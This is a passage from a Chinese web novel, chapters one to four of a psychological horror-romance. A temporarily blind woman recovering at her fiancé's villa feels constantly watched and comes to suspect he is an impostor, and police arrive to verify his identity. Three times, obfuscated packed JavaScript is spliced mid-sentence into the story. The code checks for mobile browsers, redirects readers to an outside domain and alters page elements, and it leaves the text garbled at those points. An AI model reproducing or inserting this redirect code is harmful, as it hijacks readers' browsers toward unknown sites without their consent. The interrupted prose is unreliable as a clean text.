《被吃掉的男友》 1. 第一章 楚黎满身冷汗醒来,梦里的景象还在脑海里久久不散—— 幽暗海面下,绽开大片深红。 她睁开眼,眼前一片漆黑。 这是楚黎失明的第八天。上周,她和即将订婚的男友霍修去海岛旅行,轮船在行驶时先是遇到浓雾又意外触礁,人员伤亡惨重。 她因头部撞击,淤血压迫视神经暂时性失明。霍修比较幸运,只是受了一些不算重的外伤。 因为楚黎独居,不和父母住一块,出于安全考虑,出院后,霍修将她接到自己家养病。 楚黎朝右侧摸索,指尖摸到了冷硬矮木柜,再继续向前摸,是一只保温杯。杯子里水温正好,喝下去之后缓解了从噩梦醒来的心悸感。 “元宝,几点了?” “主人,现在是16:35。” 智能助手欢快回应。 房间很安静,只有偶尔的“沙沙”声,从左侧方向传来,大约是风吹纱帘。 莫名的,她觉得有些冷。 长时间处于黑暗中,楚黎忍不住胡思乱想,总觉得房间的每一个角落都站满了长影,正在一动不动凝视她。 正想着,小腹处微妙胀意涌来。 她竭力克制这些念头,摸索着下床,打算去卫生间。脚不小心将一只拖鞋踢开,只好蹲下寻找。 楚黎跪坐在地上,一手扒着床沿,身体向前倾,手伸入床底,顺着冰凉地砖向前摸。 一寸,一寸。 指尖毫无征兆触碰到冰冷柔软的物体。 同时,她感受到一道赤|裸的、难以忽视的视线,像湿冷青苔,躲藏在暗无天日的床底,持续窥伺着。 “啊——!!” 楚黎瞬间缩回手,后背撞在床边矮柜上,震得保温杯滚落,“砰”地砸在她身旁。 房间陷入死寂,她从手指到脊背都是僵麻的,剧烈心跳震得耳膜胀痛。 “黎黎?” “黎黎?你怎么了!” 男性的声音从上方传来,他说话一贯温和从容,此时听起来很慌乱。 他的声音唤回楚黎的一点理智。 是了,房间里有监控。进门左上角也有一个,床旁的矮柜上也有,这个还能实时对话。它们都是因为她失明才装的。 她僵着手,摸到矮柜上的监控,让它对着床底。 “床底下、床底下有……” 监控那头沉默一会,声音才传来:“黎黎,床底下只有一只你的拖鞋。下午做噩梦了吗?” 楚黎呆了呆,低低应了一声。 霍修温柔安抚:“别怕,我安排一下手上的工作,很快回来。” 又呆坐了一会,她不愿再伸手进床底,踉跄着起身,赤足进卫生间解决了生理需求。 * 处在黑暗中感官被无限放大。 冰凉液体从指缝漏出,水流声哗哗,是卫浴室里唯一的声音。 楚黎站在洗手台前走神。 出院前,医生说落水的经历可能刺激她原本稳定的病情,现在看起来,好像是变严重了。 她心不在焉关掉水,正要转身,一点寒气从脚底蹿到了发梢。 有人站在背后看她。 “咚咚……” 心跳声敲得耳膜发痛,楚黎攥着洗手台沿,手指僵痛。如果她没有失明,只要抬头,就能看见镜子里的自己,以及身后的人。 对方动了,衣料摩挲发出细微响动,声音越来越近。 她的肩头忽然被握住,楚黎像受惊的猫,抓起手边的东西反手就砸。 “啪!”漱口杯与牙刷滚到地上。 “……黎黎?”身后的人声音愕然。 镜中的人赤足站着,睡裙下身形纤瘦,乌黑长发衬得脸愈发苍白。她循声转动眼珠,漂亮眼眸没有焦点,有些雾蒙蒙的。 楚黎转身撞进他怀里,用力搂住他的腰身,干净气息包裹下来,安抚了狂跳的心。 霍修愣了一下,慢慢伸手拥住她,“别怕,是我回来了。” 腰背上的手臂箍到令人喘不上气。 在听见吸气声后,霍修才后知后觉放轻了力度。 “抱歉黎黎,我太担心你了,弄疼了吗?” 楚黎埋在他怀里,闷不做声摇头。 脚下一空,霍修将她抱到了洗漱台上,修长温热的手握住脚踝,用打湿的毛巾擦拭。 他的动作温柔耐心,但一点轻微战栗顺着肌肤往上蹿。 楚黎忍不住缩了一下,握住的手纹丝不动。 他说:“乖,很快就好。” 等擦完脚又换上全新的拖鞋后,楚黎问:“刚刚砸到你没有?” 霍修轻笑:“没事。” 那就是砸到了。她垂下眼,心里有点歉疚,“你怎么回来了也不说话,还以为家里进人了。” “我回来就看见你开着水,站在这发呆,叫了一声你没应。” 叫了吗?楚黎茫然。 或许叫了吧,她那会确实在出神。 霍修抱起她往外走,“下午是怎么了?” 楚黎搂紧他的脖颈,犹豫着说:“睡醒找鞋时候,床底好像有东西在看我。” 霍修脚步顿了顿,走出客卧,将楚黎放在客厅沙发上。 “别担心,我让人调监控看看。” 这一片的别墅配有管家团队,霍修拨了个电话,那边没一会就给了答复。 从昨天到今天,没有任何陌生人员出入。 意料之中的答案。 楚黎呆坐着。下午的事无非两种答案,一是灵异事件,而是她的病情加重了。 第二种答案的概率无限接近一百,霍修显然也是这样想的。 等楚黎回过神,他已经说了好一会了。 “……出院之前医生说落水的经历可能会诱发病情加重,黎黎,我明天陪你去看心理医生吧?” 心理医生四个字让她没由来地抗拒。 “不去。”她声音很低,“我不去。” 霍修也不勉强,用手指梳理她的长发:“如果接下来一段时间继续这样,就一定要去,好吗?” 楚黎没吭声,算是默认。 霍修为她打开电视,起身去做饭。 综艺频道嘻嘻哈哈,厨房不时传出笃笃声。综艺放完一集,简单的两菜一汤也做好了。 楚黎拒绝了霍修的牵引,摸索着坐到餐桌前。 失明不知道什么时候恢复,她总要适应一下看不见的生活。 餐桌上,两人时不时闲聊几句,谈起了本该在下周举行的订婚仪式。如果不是这次意外,一切都能顺利进行。现在也只能等她眼睛恢复再办了。 楚黎抿了一口汤,味道偏重,还有点腥。两道菜倒是有点淡,炒莴笋切得薄厚不一。 “你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586274|171770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手怎么样了?” 霍修给她夹了两块鱼肚肉,“好得差不多了。” 撒谎。 楚黎心不在焉吃掉他夹来的菜,下午两次抱她都是只用左手,分明就是没好。 坠海醒来之后,她就在医院了,霍修忙前忙后照顾她,问起有没有受伤,只轻描淡写说受了点外伤。是出院之前她单独问医生,才知道他右手臂骨裂了。 她没挑嘴,默默吃完了这顿饭。 吃完后霍修去洗碗,楚黎依然坐着听综艺,然后就听见厨房“砰”一声,不知摔碎了什么。 最近他已经摔碎了三次东西,楚黎有些担忧。 “霍修。”她摸索着调低音量,“请个阿姨来上门做饭吧。” 厨房方向的流水声很快停了,然后是碗碟收纳声,很快,脚步声由远及近,停在楚黎附近,沙发下陷,霍修坐在她旁边。 “怎么了?是我最近做的饭不合大小姐口味?” 声音带点笑,无奈又宠溺。是熟悉的口吻。 “你要工作,中午晚上都要回来做饭,太辛苦了。”楚黎往身旁摸,握住他的手,“而且,有阿姨在你也不用分神关注我这边。” “不是讨厌陌生人上门吗?” 这句话勾起些许不愉快的回忆。楚黎说:“不是讨厌,就是怕发病的时候吓到人家,你提前和上门阿姨说清楚我的情况。” “好。”一只手圈住她的腰,往旁边带,紧接着肩窝一沉,温热气息贴着肩颈那块肌肤。 楚黎怕痒,下意识推了一下,“你最近好黏人啊。” 最近这段时间,只要不做事,他就会像磁铁一样贴过来。 霍修圈住她不放,在脖颈那块流连闻嗅,声音略低,有些含混:“因为……差点就把你弄丢了。我很担心你,黎黎。” * 楚黎每天都要服药。 一日三次,饭后吃。她吃得准时,希望淤血尽快吸收,视力恢复。 失去视力后,娱乐生活变得匮乏。她窝在沙发上,听了一会洋柿子小说,听到药效上来,昏昏欲睡。 旁边文件翻页声停了,霍修问:“要不要洗漱睡觉?” 楚黎关了手机,点点头,刚踩住拖鞋就被抱起来。 霍修单手抱她像抱只猫,很轻松,稳步朝二楼走。 “我自己能走。”她锤了一下他的肩膀。 “你看不见,上楼危险。” “慢慢走就好了,总要适应的,万一视力没那么快恢复呢?” “没关系,我可以一直照顾你。” “说得好听。”楚黎故意挑刺,“说不定照顾一段时间你就烦了,还要和我分手。” 霍修停下来,“不会。黎黎,我永远,永远不会离开你。” 这句话咬字清晰,语速缓慢。 她愣了一会,回过神来,才意识到霍修抱着她走进了客卧,下午的经历闪回,她不由后背紧绷。 “等一下!” 鞋底踩过木地板,发出“啪嗒”声,霍修恍若未觉:“怎么了?” 下午打开的窗没有关,夜风吹得纱帘“沙沙”轻响,就像有手在不断拨弄。 楚黎仿佛浸在没有边界的黑暗里,只有身前的人是真实的、温暖的。 “我不想住在这个房间了。”她声音干涩。 沙沙声消失,沉寂片刻后,霍修轻笑:“好。” 2. 第二章 这是楚黎第一次和霍修同床睡觉。 枕头被子都带着淡淡的雪松气味,是他卧室里常用的香薰味道。 后背贴着温度偏高的胸膛,一条手臂环在腰间,呼吸也挨得很近,将人缠得密不透风。 楚黎有点热,也不太习惯。 “这样我睡不着。” “好吧。”霍修慢吞吞松开,一个潮湿的吻落在她耳侧,“晚安,黎黎。” “晚安。”楚黎亲了亲他的唇角,“最近辛苦了。” 霍修没说话,也没动。她没放在心上,往旁边挪了挪,脱离热源,安心入睡。 楚黎又一次梦见了坠海。 她仰面坠入海域,视野从灰暗云层变成压抑的幽蓝色。 一团红色在她面前晕开,浓得像血。 她想闭眼,想浮出水面,想催促自己醒来。 但在这个梦里,只能直勾勾盯着那团血红。 … 霍修转天请了一位阿姨上门。 她负责做午饭晚饭以及简单打扫卫生,早上十点到,下午五点前离开,周六日休息。 阿姨来了以后,楚黎的症状并没有减轻。 那道目光依然存在。 永远只在她独处时,毫无征兆出现。 窗帘后,天花板上,门后的缝隙,沙发底下,书桌下…… 持续的,不分昼夜,无时无刻的……窥视她。 最心惊肉跳的一次,是午觉睡醒时,睁眼的刹那,她感受到有“人”站在床边看着她。 她甚至能想象到,视线的主人弯着腰,无限凑近她的脸,几乎是鼻尖对着鼻尖,凝视着。 那一瞬间,楚黎猛地向前挥出。 手臂掠过空气,重重砸在床垫上。 什么也没有,视线也消失了,就像是错觉。 “楚小姐?”请来的阿姨姓陈,听见动静,端来一杯温水,“出了好多汗,是不是又做噩梦了?” 相处几天,陈姨已经基本了解雇主情况。 楚黎喝完半杯水,脸色和嘴唇还是惨白的:“陈姨……你进来的时候,有看见什么吗?” “没有啊。”陈姨接过水杯,犹豫一会试探性开口,“楚小姐,你是不是遇到那种事了?” 楚黎怔了一下。 陈姨压低声音:“我老家在乡下,有个水塘,夏天老淹死人,可邪门了。好几年前村里有个娃娃落过水,就经常夜哭,老说有人跟着他,去医院看医生说是精神方面的问题,但开了药也不管用。实在没办法,就请了神婆来。神婆说他丢了魂在水塘里,又被水里不干净的东西附在背后了。” “然后呢?”她下意识问。 “然后,神婆做了法事把那东西送走,又给了保平安的东西,说一直戴着就没事了。也是神奇,搞了一通娃娃一下子就精神起来了。神婆走之前还让村里人管好自家娃娃,不要靠近水塘。” “说是那个水塘阴得很,里面的鬼死精死精,会勾小孩一起玩,只要小孩开口答应了,就甩不脱了。” 故事有那么一点曲折离奇,楚黎生出些好奇:“为什么开口答应就甩不脱?” “都是乡下传的老习俗了。村里老人说,莫答鬼话,意思就是哪怕遇到鬼,也千万别说话,别应承什么,开口答应就是因呀,种了因就会有果的。” 楚黎对鬼神向来是不信,但敬而远之的。 仔细想想,她也没撞过鬼,更别说和鬼说话了。不过,家里倒是比较信这个,比如经常强调她不可以把具体出生时间告诉别人,让她二十四小时都带着红绳串的铜钱。 等等,铜钱…… 楚黎摸了一把左手腕,心顿时凉了半截。 一阵微风掠过,她猛地往后缩,然后又反应过来,是陈姨的手。 陈姨帮她擦去冷汗,语气自责:“不好意思啊楚小姐,是不是我说错什么,吓到你了,你的脸色……不是很好看。” 楚黎脑袋嗡嗡响,机械抚摸着左手腕。 不见了。 为什么她现在才发现。 恍恍惚惚,楚黎好像又回到高三毕业的暑假,她拖着行李箱站在家门外,爸妈站在家门内,家里没开灯,背景是暗的,爸妈的脸也不太清晰。 他们一遍又一遍叮嘱。 “乖乖,千万要戴好铜钱,不要弄丢了,知道吗?” “不要弄丢了,知道吗?” “知道吗……” * “霍先生,我真的不是有意的,只是看楚小姐这样,就想起了老家的事情,没想到会把她吓着……” “工资打过去了,明天开始,你不必再来。” 大门关闭。 脚步声从楼下慢慢走来,床铺下陷,手臂将蜷缩的楚黎圈住,动作很轻。 “黎黎,没事了。”手指拨开她汗湿的发,指腹摩挲她的脸颊,“那些都是骗小孩的故事,假的,别怕。” 楚黎一直保持着握住右手腕的动作,声音像呓语:“铜钱……” “什么?” 她眼球颤动,开始抓头发,“铜钱不见了……我爸妈说不能弄丢的,他们一定会怪我的,怎么办……他们一定会怪我的。” 霍修抱得更紧,将她圈在怀中,制住了动作,耐心安抚:“不会的,伯父伯母怎么会怪你。应该是落在海里了,我等会联系打捞队,让人去找。” “掉进海里,找不到怎么办?” “会找到的,相信我。”霍修亲了亲她的额头。 或许是他的语气太可靠,楚黎慢慢平静下来,她抱住霍修,脑袋贴在他的胸口。 “对不起。” 他缓慢抚摸长发,让发丝缠绕手指,“是我该道歉,明天我再找一个安静话少的阿姨陪你。” * 新来的阿姨姓王,安静稳重不多嘴。 只要楚黎独处,那道如影随形的视线还是存在,她尽量说服自己不要在意,并且考虑要不要再去一趟陈医生那里。 两天后,霍修放假了。 他还带回了楚黎遗失的铜钱。捕捞队的人说,它正好缠在浅水区的珊瑚礁上,没花多少时间就找到了。 原本的红绳磨损了,霍修重新换了一根,穿过铜钱的方孔,再系到楚黎手腕上。 被海水浸泡后的铜钱冰冷,贴着肌肤的时候,她忍不住打了个冷颤。 楚黎用指腹摸过每一点纹路,确认是自己那枚铜钱,心情肉眼可见好起来。 周六,霍修陪她去附近的购物广场采购。 楚黎捧着奶茶,左手勾着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586275|171770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霍修的手指,慢吞吞跟着走。 晚上,好友辛桐打电话来。 辛桐是她的初中同桌兼高中同学,又在同一个大学,读的摄影专业。从初中认识起,她就一直爱拍照,脖子上常常挂着小相机,对着楚黎就是一顿拍。 听说楚黎意外失明,辛桐每天都会打电话陪她解闷。 “黎宝,暑期交换要结束了,下周一的飞机,周二来看你。我带了很多特产哦。” 楚黎立刻想起那些稀奇古怪的昆虫标本,“你又要给我带虫子标本?” 辛桐依然兴致勃勃:“你不知道,我最近拍摄到到很多漂亮的昆虫。长得像树杈的螳螂你见过吗?还有粉色的天蚕蛾,蓝色的竹节虫……哦对了,我发现非洲也有好吃的……” 话题很快从标本跳跃到美食,又跳跃到回来之后去附近的商场约饭,再跳跃到一起去找个寺庙拜拜。 她们叽里咕噜说了很久。 挂断电话后,房间里静悄悄的。 “霍修?” “嗯。”温柔低沉的声音近在身侧。 这通电话持续了近两个小时,他竟然一直坐在旁边,安静等她打完电话。 “十一点,该睡觉了。”霍修取走了她的手机,拥着她面对面躺下。 楚黎摸索着,隔着睡衣摸到线条分明的胸膛,再往上是脖子、起伏的喉结,以及下颌。她在黑暗里亲了他一下,这一次位置有所偏差,贴在了嘴唇上。 “晚安。”她说。 他不为所动,手掌漫不经心抚着楚黎的后背,直觉告诉她,霍修有点不高兴。 楚黎对他向来有话直说:“你不开心吗?” 霍修的手上移,捧住她的半边脸,拇指轻轻按在柔软的唇上。低叹一声:“不是,我只是很担心你。黎黎,你可以邀请辛桐到这里来,等视力恢复再和她一起出门吧。” 和天底下大部分的闺密一样,辛桐不是很待见霍修,很少出现在他在的地方。 叫辛桐来这,她才不乐意来呢。 “别担心呀,我们只在附近,出去一会就回来。老是呆在屋子里,要闷死了。” 霍修沉默一会,叹息道:“好吧。” 他环住楚黎的腰身,压向怀中,直到再无间隙,然后垂首吻上。 濡湿舌尖描摹柔软唇形,侵入齿关,一点点探索,由浅至深。 修长手指扣住后颈,虎口卡在楚黎的下颌处,另一只手圈住她的腰,令人躲不开推不走。 这个吻漫长到楚黎喘不上气,恍惚间觉得自己像只撞进陷阱的猎物。 这样的霍修有点陌生。 和她相处的时候,他总是温和包容,非常尊重她的意愿。 而不是像现在这样,好像要把她活生生吞下去。 楚黎被亲到手指发软,她好不容易扭开头,刚喘息两声,拒绝的话还没说出口,灼热气息又一次纠缠过来。 得寸进尺,贪得无厌。 她忘记这个吻是什么时候结束的,累得像跑了一场马拉松,眼皮用力黏在一起。 温热躯体贴在背后,半梦半醒时,楚黎听见霍修浅浅叹气。 “黎黎,没有我陪着,出门是很危险的。我真的会很担心你。” “你怎么……不明白呢?” 3. 第三章 周末一晃眼就过了。 周一,霍修正常上班,王姨家里孙女发烧,请了一天假。出门前,霍修亲了一下楚黎的额头,让她继续睡,他会回来做午饭。 楚黎睡到十点,自然醒。 别墅里静悄悄,她又感受到那道视线,在门口方向。 “元宝,播放本市晨间新闻。” “好的,主人。接下来为您播放海市晨间新闻。据报道,今日凌晨,某张姓男子因琐事吵架被妻子说没用,一气之下挥刀自宫……” 活泼的人工智能声音驱散了寂静感。 楚黎下床洗漱,在一堆家长里短的新闻里,听见了一条发生在身边的。 “今日凌晨五点,建设大道发生地陷,原因不明,目前仍在抢修……” 建设大道是霍修去公司的必经之路,这条路不能走,得绕多二十分钟。 希望早点抢修结束,不要影响他正常下班。 楚黎默默祈祷,快速洗漱后,摸着墙一步步走到房间门口,试探性伸手—— 没有人,视线也消失了。 她扶着扶手慢慢下楼梯,房子里回荡着“嗒嗒”声,像某种奇怪的韵律。 脑子不受控制地往外冒恐怖想法。 那个“人”,会不会跟在她背后一起下楼,发出同样节奏的脚步声。 楚黎的脚步不由自主停下,“嗒嗒”声也停了。她站在扶手楼梯上,眼前只有漆黑,那道视线又出现了。 这一次在身后,离得很近。 赤|裸阴暗的视线缓慢舔舐露出的肌肤,从白皙耳垂到脖子,然后继续向下。 楚黎用力捏着扶手,毫无征兆转身。 视线再次消失。 到底是她病情加重,还是这栋房子里多了某些奇怪的存在? 她有点分不清了,只知道再这样下去,会因为无法承受而崩溃。 楚黎走到客厅时才想起自己没喝水。 在楼梯上出了一身冷汗,她舔了一下嘴唇,干得起皮了。 客厅有饮水机,在沙发前面的电视机柜左侧。她先摸到沙发,然后慢慢向前走,手碰到了电视屏幕,再向左一直滑动。 楚黎摸到了饮水机上的马克杯,手指按压智能面板,“滴滴”两声出水口有水涌出。等待一会后,她端起水杯转身。 没想到后脚跟不慎撞到电视机,她失去平衡,手里的开水摇晃、泼洒。 滚烫开水淋在指尖上。 楚黎腰间一紧,整个人被向后拽,脚步踉跄,后背撞上温热胸膛。 “砰!”碎瓷片和开水溅了满地。 没有一点溅在楚黎身上。 整个屋子安静得没一点声音,除了她的心跳声,以及不太平稳的呼吸声。 “……霍修。” 一点寒气从皮肤底下冒出,楚黎用力抿了一下干涩的嘴唇,努力让声音自然。 但失败了,她的喉咙像吞了一把沙子,声音很僵硬。 “你不是去公司了吗?” 脚步声从身后走到身前,拉起楚黎的手,轻轻摩挲被烫到的手指,然后细致检查了一遍,确定她身上没有烫伤,才开始回答她的问题,声音温和自然。 “我刚回来不久,有份重要文件落在书房,干脆回来办公,顺便也能照看你。” 手掌顺着她的发顶轻轻抚摸,如同安抚。 “书房没关门,我看见你在接水,就过来了。手指有点红,我帮你涂点烫伤膏。” 楚黎被他牵着带到沙发前坐下。 她坐在无边无际的黑暗里,听着霍修拉开抽屉,打开药箱,又回到她面前,仔仔细细涂抹刺痛的手指。 “怎么下来接水?床边的水喝完了吗?” 楚黎紧绷的身躯一点点放松,摇了摇头:“忘记喝了。” 霍修似乎笑了一下,重新倒了一杯水,又把早餐端给她,开始处理满地的水渍和碎瓷片。 早餐是厚蛋火腿三文治配热牛奶。她吃了一半,想起那条晨间新闻:“建设大道那边地陷了。” 沙发下陷,霍修倾身凑近,用指腹抹掉她唇边的一点乳白奶渍,笑道:“是啊,临时绕路浪费不少时间,早会都推迟了。” 楚黎嗅到他身上的冷冽气息,还夹杂着些他们共用的沐浴露气味。 唇角还残余着他指腹的温度。 她不合时宜地想起霍修常用的车。上个月,她买了一款新的车载香薰,是淡淡的柑橘味,留香持久。放在车里,每次坐完车身上都会带一点柑橘香气。 霍修身上没有。 不止是今天,从失明住进这栋别墅后,每天下班回来,他身上都没有柑橘香气。 楚黎的呼吸急促起来。 “黎黎,怎么了?” 霍修离得更近,温柔关切的声音此刻听起来阴森森的。他用指腹抹掉她额角的冷汗,不轻不重摩挲那块皮肤,呢喃着:“出了好多冷汗呢。” 楚黎不可避免地想到了蛇。 空气好像被榨干,她有种被蛇缠住胸腔,快要窒息的感觉。 好陌生。 明明是无比熟悉的声音、气息、体型,却令她觉得这是一个外来者。 楚黎开始恍惚。 他是霍修吗? 还是那道视线的主人? 或许,他从来没离开过,假装出门却一直安静站在某处,静静地窥伺她。 对方离得太近,近到稍微抬头就能碰到鼻尖与薄唇,温热气流拂过面庞,擦汗的手改为揽住楚黎,他柔声问:“黎黎,哪里不舒服?” 正在消化早餐的胃狠狠抽搐了几下,胃液往上涌,楚黎忍不住干呕。 她捂住嘴,眼眶渗出生理性泪水,不断深呼吸压住情绪。 冷静,冷静。不要被看出异常。 她忍住将人甩开的冲动,用力攥住手机,即使看不见,也能想象到自己的脸色有多惨白难看。她努力让声音自然:“胃……不舒服,我去趟卫生间。” 楚黎捂着嘴,拨开霍修的手,步伐踉跄朝卫生间走。中途路过餐厅,不慎撞到椅子,发出刺耳“滋啦”声。 身后静悄悄,霍修没说话,也没跟上来。 她哆嗦着摸到卫生间的门,拧锁时手指发颤,靠在冰冷的门板上,终于寻到一点稀薄的安全感。 * 水流声哗哗,水珠顺着肤色苍白的下颌滴落。 洗完冷水脸,楚黎勉强平静下来。 无处不在的视线可能是她发病时的臆想,但霍修说谎是事实。 她怀疑霍修被替代了。 就像电影里面的剧情,有人顶替了她原本的未婚夫,怀着目的接近,极有可能是为了钱。 她和霍修都是家底丰厚的人,有可能是在国外海岛旅行的时候被犯罪团伙盯上了。 她看不见,不好对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586276|171770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 峙。但他们有共同好友——辛桐,无论怎么扮演,不是同一个人终究会有细微差别。 楚黎需要帮手,一起戳穿这场阴谋。 原本的霍修去哪了…… 这个念头刚冒出来,就被楚黎慌忙压回心底,她有点喘不上气,喉咙堵厉害,鼻尖也开始泛酸。 借着水流声掩饰,她压低声音:“小艺,拨‘桐桐大小姐’的电话。” 不一会,手机传出“嘟嘟”拨打声。 “您所拨打的用户暂时无法接通……” 这个时候打不通,说明辛桐已经上飞机了。楚黎深吸一口气,把声音压得更低,让手机智能助手帮忙留言。 手机震动了一下,代表留言已发送。 心脏还在狂跳,楚黎从指尖到小臂都在阵阵发麻。后背被汗浸湿,一阵风吹过,睡裙冰冷黏腻贴在皮肤上。 楚黎僵着脖子,一点点抬头。 一道视线定定注视着她,离得很近,像在盯着没熄灭的屏幕。 七月末的夏天,楚黎在卫生间里体会到了什么叫毛骨悚然。 “啊——!!” 她手忙脚乱向前推,并掐灭屏幕。这一推落了空,手掌撞在瓷砖墙面,连带着身体都一起摔过去。 “咔哒”卫生间的锁芯转动两圈,门开了。 霍修进来时脚步匆匆,弯腰将楚黎扶起,“怎么弄成这样?摔到哪了?” “黎黎,你的脸色很差。”说着,他抬手替她擦冷汗。 被碰到的瞬间,楚黎像被毒物蛰了,短促惊叫着挥开那只手。 卫生间安静下来,只有她急促的喘息声。 楚黎背靠墙壁,手脚发软,忽然注意到一个细节。 霍修进来得太快了。 就好像一直备好钥匙,守在门外。 他在监视她。 楚黎脑海一片空白,面前的空气变得稀薄,眼前这个人像定时炸弹,她无法预测对方什么时候会撕下伪装,更不知道会不会面临生命危险。 他像一把悬在头顶的铡刀,随时可能落下。 “嗒、嗒。” 脚步声突兀响起,朝她走近,掠起一点风。楚黎浑身紧绷,攥着手机打算当板砖使。 温热手指缓慢擦过她的眼尾,将泪光完全擦去,耐心至极。 霍修轻叹:“黎黎,你在害怕我,为什么?” “是我哪里没做好吗?你告诉我,我会改正。” 楚黎察觉到,他暂时不想撕破脸。 “抱歉。”她深吸一口气,强迫自己放松紧绷的身体,“我最近经常做噩梦……精神不太好。刚刚卫生间有风吹进来,我被吓到了,不是害怕你。” 霍修用纸巾擦去她面上的冷汗,声音温和包容:“没关系,我理解的。胃还难受吗?” 亲密的接触让胃又开始隐隐抽搐。 楚黎摇摇头:“不难受了。我有点累,想回房间休息。” “好。”霍修微微弯腰,碎发扫过她的面庞。 手臂分别托住她的后背与膝窝,楚黎身体悬空,被稳稳抱起。 冷冽熟悉的气息无孔不入。 要冷静。 楚黎反复告诫自己,如往常那样环住霍修的脖颈,可生理性反应不会因为内心意志改变,她的身躯比平常僵硬很多。 霍修仿佛没有察觉,手臂收紧了几分,一步步踏上楼梯,走向主卧。 4. 第四章 接下来大半日,霍修都没有追问楚黎的异样。 他居家办公,按时煮了午饭和晚饭,在饭桌上和往常一样为她夹菜,与她闲聊。 别墅大门被敲响时,他们正在吃晚饭。 霍修夹了一块焖排骨给楚黎,搁下碗筷,温和笑笑:“有客人来了,我去开门。” 楚黎握住筷子的手一紧,心跳不受控制乱了几拍。 回过神来,几道脚步声一起踏入客厅,她望向声音来源,迟疑开口:“……桐桐?” 按辛桐的性格,应该一进门就会飞奔过来才对。 屋子里静了一瞬。 “楚小姐,我是辛心。桐桐在过来的路上发生车祸,被送去医院了。” * 辛心任职于海市乐阳区公安局,是辛桐的表姐。 接到辛桐的电话,辛心立刻和同事赶来,刚到半路,就得知辛桐意外车祸的消息。 辛心与楚黎见过一面,印象里,她是位漂亮随和的富家千金。 可现在…… 她呆坐在沙发上,似一尊精致无灵魂的雕塑,容色苍白,眼睛无神采。 辛心不动声色打量这栋别墅。它在市内最好的地段,客厅的水晶灯华采熠熠。 她握住楚黎冰凉的手,安抚道:“有辆车突然变道,导致了车祸,好在安全气囊弹出及时,桐桐只是暂时晕过去了。她出门前给我打了电话,说你怀疑霍先生被冒名顶……” “是他。”一声呓语,打断了辛心的话。 她愣了一下:“楚小姐,你说什么?” “两位,请喝茶。” 两杯茶水分别放在辛心与同事面前。青年衣着居家休闲,身形修长,肤色冷白,金属框眼镜后眼睛狭长,一枚红痣在左眼皮上若隐若现。 面对警察突然上门,还被怀疑身份,他的表情依然温和从容。 “是你!是你做的!!” 楚黎毫无征兆挣开辛心的手,眼眶通红,朝着声音的源头扑去。 辛心和同事的反应很快,一个抱腰,一个抓住她的手。 霍修站在水晶灯下,睫毛漆黑,落下浅浅阴翳。他面对手指挥舞抓挠不闪不避,脖子瞬间见血,留了几道血痕。 “你偷看了我的手机,知道我让桐桐报警,所以桐桐出事了!”楚黎被两人按坐回沙发上,表情如见仇人,“骗子,你根本就不是霍修!每天都和我说出去上班了,可是根本就没有出门,一直在这里监视我!!” 此刻,那些似有似无的微妙违和感拧成一根引线,彻底点燃压抑已久的情绪。 楚黎止不住颤抖,喉咙像是被堵死,越用力呼吸,越喘不上气。 “黎黎,冷静点,呼吸节奏放慢。”一双手强硬握住她的肩。 忽然的触碰,对精神完全紧绷的人来说,如同一场雪崩。 冰冷的体温渗透布料,牢牢黏在皮肤上。某一刻,她甚至觉得是冰柜里爬出的尸体正在握住她的肩。 楚黎短促尖叫一声。 再感受时肩上的手是温热的。 她颤抖了一下,开始惶恐。是否自己推测错误,出问题的不是霍修,是她。 是不是她彻底疯了,分不清幻觉和现实。 辛心揽住楚黎往后退,抬手挡在前面,“霍先生,她现在情绪不稳定,请先不要接触。” 同事岳盛远上前一步隔开双方,公事公办道:“霍先生,我需要核对一下你的个人信息。” * 沙发上,岳盛远与霍修坐在一侧。辛心和楚黎坐在另一侧。 询问声不时响起,霍修一一作答,或出示证件证明个人身份,由始至终,他态度平和不见半点不耐。 沙沙笔录声停下,岳盛远与辛心对视一眼。 指纹、个人信息、人脸识别都对得上。 向物业申请调的监控也回来了。 每天7:50左右,一辆黑色宾利会停在别墅门口,霍修在八点整准时出门,一位年轻男性会为他打开后座车门,然后发动汽车驶离别墅区。 辛心暂停录像,放大男性的身影,“霍先生,这位是?” “我的私人助理,姓林。他入职五年,总不会认不出自己的上司。”霍修握着茶杯,茶水倒映出镜片后的眼睛,他温和询问,“黎黎,我可以知道你为什么会怀疑我没有去上班吗?” 警察的每一句询问、确认、签字笔记录的沙沙声、霍修的回应全部揉成一团,塞进楚黎的耳朵里。 它们不分彼此,像一团扭曲不明的线条,缠在她身上不断收紧。 她喃喃道:“你以前都是自己开车去公司。” 注意到楚黎言语中称谓的转换,霍修笑了笑,像是无奈般叹了口气:“黎黎,我的手伤还没痊愈,不方便开车。” 